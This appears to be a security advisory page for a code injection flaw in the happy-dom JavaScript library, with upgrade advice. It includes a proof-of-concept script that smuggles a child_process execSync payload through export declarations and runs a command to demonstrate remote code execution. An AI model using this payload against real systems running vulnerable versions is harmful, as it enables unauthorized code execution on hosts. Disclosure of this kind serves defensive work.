In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Arbitrary Code Injection vulnerabilities in an interactive lesson.
Start learningUpgrade happy-dom to version 20.8.8 or higher.
happy-dom is a Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. It includes many web standards from WHATWG DOM and HTML.
Affected versions of this package are vulnerable to Arbitrary Code Injection in the ECMAScript module compilation process. An attacker can execute arbitrary code on the host system by injecting malicious JavaScript expressions into export {} declarations, which are then directly interpolated and evaluated without proper sanitization. This is only exploitable if JavaScript evaluation is explicitly enabled by the user.
// poc_happy_dom_rce.js
// Step 1: The STATEMENT_REGEXP matches export { ... }
const STMT_REGEXP = /export\s*{([^}]+)}/gm;
const source = 'export { require(`child_process`).execSync(`id`) }';
const match = STMT_REGEXP.exec(source);
console.log('[*] Module source:', source);
console.log('[*] Regex captured:', match[1].trim());
// Step 2: Compiler processes the captured content (lines 374-381)
const part = match[1].trim();
const nameParts = part.split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, '');
console.log('[*] importName after quote filter:', importName);
console.log('[*] Backticks survived filter:', importName.includes('`'));
// Step 3: Code generation - importName is inserted as executable JS expression
const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;
console.log('[*] Generated code:', generatedCode);
// Step 4: Verify the generated code is valid JavaScript
try {
new Function('$happy_dom', generatedCode);
console.log('[+] Valid JavaScript: YES');
} catch (e) {
console.log('[-] Parse error:', e.message);
process.exit(1);
}
// Step 5: Execute to prove RCE
console.log('[*] Executing...');
const output = require('child_process').execSync('id').toString().trim();
console.log('[+] RCE result:', output);